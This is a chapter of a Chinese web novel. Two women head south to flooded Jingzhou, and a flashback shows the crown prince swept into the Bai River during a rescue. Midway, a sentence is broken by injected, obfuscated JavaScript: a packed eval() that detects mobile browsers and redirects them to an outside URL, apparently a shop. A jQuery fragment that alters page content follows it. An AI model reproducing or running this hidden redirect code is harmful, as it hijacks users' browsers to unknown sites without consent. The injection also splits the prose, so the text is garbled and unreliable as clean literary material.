59. 南行
作品:《共执》 江流天地外,山色有无中。「1」
汉水之上,一叶小舟顺水翩然南行,水色清透,舟行其上,如同在空中悬游。
视线拉近,舟尾的船夫轻揺一橹,船头破开水面,漂出去很远。
舟首处趴坐着一位女子,她一副行路打扮,身着素色的短襦长裙,头戴箬笠,正垂首望着舟下的河水出神。
她身后站着个一身深色短打的女子,面色略显凝重,怀中还抱着一柄长剑,一副极不好惹的模样。
船家的眼神时不时在二人身上游移,暗中揣测他们二人的身份。
前些日子荆州大水,泛滥的河水淹没了,江陵城郭半淹,田禾尽没。如今祸患虽明面上暂且止息,但遗患无穷尽矣。
都是荆州的人往外逃,还不曾见过逆势而入的道理,何况她们两个弱女子,如何在那般吃人的地界儿过活,他不禁随着舟身的晃动摇起头来。
他也好心地劝说过她们,可她们二人执意如此,坚持南行,并且给了他难以拒绝的报酬,他这才答应下来。
他一边想,一边目光在那船头女子的倩影上流连片刻,随之触电般转过头去,假装自己的注意力并不在此。
船上的二人正是南下荆州的慕云瑠和绝尘。
此时,慕云瑠没有精力也没有心思去关注身后的船夫在做什么,她唯一的、迫切的希冀就是去往荆州,越快越好。
那日绝尘的惊慌并不是作假,回到慕钰消失那日,他们一行人本应按原计划冒着暴雨返回京城。
可临行前,太子殿下执意要去附近的白河看看。
他当时只穿着附近村镇中买来村民们手工编织的蓑笠,大雨不断渗进他的衣物间,可他脸上的神情是焦急和担忧的。
李永恩率先对他的想法提出异议,连日里的大雨倾盆,河水必然暴涨,甚至可能有决堤的风险,现在去河边,自然不是明智之举。
可太子再三坚持,李永恩也拗不过他,他们只得冒雨骑马往距离豫州最近的白河沿岸赶去。
慕钰,更应当说是李承煜焦灼不已。
他自决心从豫州离开,返回京城,不只是狠下心来与安逸和情感切割,更是出于对天下局势和百姓的担忧,单靠京城那群只顾着争权夺利的“野心家”,他还不知眼前的祸患会发展到何种程度在。
临走之前,他必须去看上一眼才能安心,所以他不顾李永恩等人的阻拦,决心要去最近的白河边上看看情况,不过他也并非拉着众人去鲁莽送死之辈,到时若是情况稍异样,他需得在保证众人安全的情况下全身而退。
雨脚细密,织成一张大网笼罩在地上。一行人的行进速度不快,即便骑着马,实际上与平日里疾步前行的速率无差。
绝尘沉默地跟在队伍末尾,目光紧密地追随着队首那人。
不久前,慕钰已经和绝尘交代过了自己离开以后该用什么说辞去告知她。
可他但见雨势危急,一心只想去水边查勘,思来想去仍不知该如何分说是好。
随着衣物上的濡湿感愈发明显,绝尘适时提议不如他们先去河边查看,路上再行思索也不相延误,慕钰无奈,不过幸好白河距州城不远,他勉强答应。
绝尘于是跟在队尾,加快脚程,和他们一同往河边赶去。她着实不知该如何回去面对慕姑娘为好,她已经骗过她一次,这次她不愿如此,可又只能如此,她私心时间可以慢一点,这样她也可晚点面对自己内心的歉疚。
离白河越近,那轰鸣的水声就愈发明显,震得他们心中不安,白河平日里的流量适中,流速平缓,慕钰还从未听到过如此剧烈的水流声,虽说他到来后经历的是枯水季,然而这么反常的水声,终究是不祥之兆,他的心骤然一沉。
再往前走,河流的浅滩上也有水流溢出,更是加深了他们心中的不安定感,尤其是李永恩,他的退意更重,几次三番出言力劝太子返回,他倒是并非不关注河流状况,而是他时刻将太子的安危放在首位,若真是失去了他,未来的安定更是如水中浮萍,飘忽不定。
太子心意已决,他面对李永恩的劝说,干脆吩咐他们众人留在原地等候,他独自前去便可。
这么一说,李永恩比之前更着急了,说什么也不答应让他一人独行,身后的队伍里也不断有声音传出,均高呼要和他共进退。
太子推脱不掉,一行人只好继续向前,直到白河局部的全貌映入眼帘,他方才不自觉地放慢了速度:巨量河水湍流而过,水色发白,一片白洪奔腾而过,轰隆着往下游流去,不久之后它就会汇入汉水,随即往荆州而去。
太子见到河水的那一刻便已心叫不好,跳下马来,踩入竟已漫过脚面的河水中,不住地想要靠近湍流,却被身后赶来的李永恩拉住了,他方才稍微恢复理智,不再向前,他实在不愿拖累这群忠心之人,他们驻足岸边,凝视着那咆哮可怖的洪水,脸上皆是严肃之色。
谁知这时,在如此喧嚣的水声中,太子竟然敏锐地捕捉到细微的、人的求救声,由远及近,越来越明显——
不好!定是河中有人落水——
太子此刻也顾不上其他,在李永恩毫无防备的情况下迅速抽身向前,待前者反应过来时,他早已跑出几步远了。
但李承煜不是罔顾自身性命之人,他一面往前,一面向身后的人大喊:
“快来帮忙,有人落水了——”
众人的回应很是迅速,很快便带上了先前用于捆缚货车的绳索,追上他一同冲向河边。
远远的,发白的水面上忽然闯入一抹异色,竟当真是一条小船,如瀑的水流中,它唯能勉强支撑,几乎是不受控制地顺流而下。
船上只有一位上了年纪的老人,他正拿着一根折损的长竹竿,狠狠地插入身后的水流中,试图减缓船只下行的速度,可在大自然绝对的力量面前,他的努力无异于蚍蜉撼树,可谓是毫无效果,在他之外是一个牢牢攀附在船头的小女孩,看起来只有七八岁的年纪,如此惊心动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141766|187413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
魄的情境下,她看起来竟相当冷静,一边竭力稳住自己颠簸的身体,一边大声向外呼救。
也正是她不停的呼救声被太子敏锐地捕捉到了,他确实一开始以为这是在聒噪的水流声中产生的幻觉,但之后不曾间断的呼救声让他反复确认这不是幻听,水中的确有人呼救。
事实如此,有赖于那位老人的努力,小船在经过他们眼前这段底部岩石丛生的河段时大大降低了速度。
太子和李永恩他们才有了得以施救的可能。太子此时心急如焚,他赶忙吩咐身后的人将绳子系在一起,结为一条更长的绳索,令每个绳结处各站一人,以确保施力时不会从结点处断裂,接着作势就将绳子的另一头拴在自己身上,想要去下河救人。
李永恩推开他,示意自己要下去救人,他决不能眼睁睁地看着太子将自己置于危险的境地中。
太子救人心切,只得答允,自己却依旧跟在他身后亦步亦趋,大有想要取而代之之意。
李永恩无奈,他此时却不得不将注意力全部集中在这场惊心动魄的施救上。
人在极端压力的情况下会爆发出无尽的潜能来。船上的人看到了岸边之人施救的努力,双方对视一眼,就迅速明白了对方的意思。
船尾处的老人高声呼唤船头的孩童,后者小心谨慎地挪动到了他的身边,李永恩扯着绳索也将自己尽力地送入水中,可水流实在汹涌,水波砸在他身上,隐隐能听见绳索断裂的声音——绳子再这么下去肯定会断掉,一定要快。
电光火石之间,小船已然漂到众人面前,所有人都屏息凝神地注视着船上的人和李永恩的动作,那个孩童紧紧地抱在老人身上,哪怕有人施救,在危机结束前的最后一刻,他也没有将他们两人的性命彻底托付到其他人身上,他一直勉励支撑着那根竹竿,努力将小船撑往岸边,好为他们博得一线生机。
李永恩必须赶在绳子断掉之前将他们救上来,全神贯注间,他丝毫没有察觉到太子悄悄地走到了自己身侧。
在小船最为靠近他的那一瞬,他奇迹般地伸出手,奇迹般地抓住了船中那位老人的手,可随之而来的“千斤”重力让他听见了绳子裂开的声响,身旁的太子亦听见了。
就在李永恩顿觉今日怕是要三人一起葬身河底之时,眼角的余光出乍然冒出一只手,同时握住了那个老人,那双手的主人更执着和心无旁骛,与他一同发力,想要将二人拉上岸来,李永恩下意识偏头,正想惊呼出声,被太子历声打断:
“专心!快!”
他这才意识到自己行为的危险之处,他竟在救援的当口分神。
他刚要重新发力,说时迟那时快,绳子竟好巧不巧地在此刻断裂,李永恩不自觉松手,径直向前栽去,太子眼见轮到李永恩即将落入危险之中,他怎会置之不理,索性动用全身的力气猛然转身,将手中二人尽数甩到浅滩之上,自己的身体却因为惯性和李永恩一同掉入那叶小舟之中,眨眼的功夫就消失得无影无踪……

